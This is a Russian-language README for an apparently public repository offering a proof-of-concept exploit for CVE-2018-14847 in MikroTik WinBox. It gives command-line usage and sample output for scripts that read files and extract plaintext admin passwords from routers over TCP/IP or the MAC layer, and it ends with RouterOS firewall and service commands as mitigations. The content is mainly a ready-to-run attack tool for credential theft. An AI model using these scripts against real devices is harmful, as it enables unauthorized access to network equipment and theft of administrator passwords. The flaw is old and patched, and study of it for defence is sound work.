hacker30468/mikrotik-router-hackЭксплойт Proof-of-concept для CVE-2018-14847 (уязвимость MikroTik WinBox), позволяющий чтение произвольных файлов и извлечение паролей в открытом виде через TCP/IP или сервер MAC второго уровня.
Это доказательство концепции критической уязвимости WinBox (CVE-2018-14847), которая позволяет произвольное чтение файлов с паролями в открытом виде.
Уязвимость давно исправлена, поэтому этот проект завершён и больше не будет поддерживаться или обновляться. Вы можете форкнуть его и обновить самостоятельно.
https://n0p.me/winbox-bug-dissection/
Этот скрипт НЕ будет работать с Python 2.x или более старыми версиями.
Скрипт прост в использовании с простыми аргументами в командной строке.
Эксплуатируйте уязвимость и прочитайте пароль.
python3 WinboxExploit.py <IP-АДРЕС> [ПОРТ]
Пример:
$ python3 WinboxExploit.py 172.17.17.17
Подключено к 172.17.17.17:8291
Эксплойт успешно выполнен
Пользователь: admin
Пароль: Th3P4ssWord
Вы можете извлекать файлы, даже если устройство не имеет IP-адреса.
Простая проверка обнаружения локально подключенных устройств Mikrotik.
python3 MACServerDiscover.py
Пример:
$ python3 MACServerDiscover.py
Поиск устройств Mikrotik (MAC-серверов)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
Эксплуатируйте уязвимость и прочитайте пароль.
python3 MACServerExploit.py <MAC-АДРЕС>
Пример:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
Пользователь: admin
Пароль: Th3P4ssWord
Все версии RouterOS с 2015-05-28 по 2018-04-20 уязвимы для данного эксплойта.
Устройства Mikrotik под управлением RouterOS версий:
Для получения дополнительной информации см.: https://blog.mikrotik.com/security/winbox-vulnerability.html
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox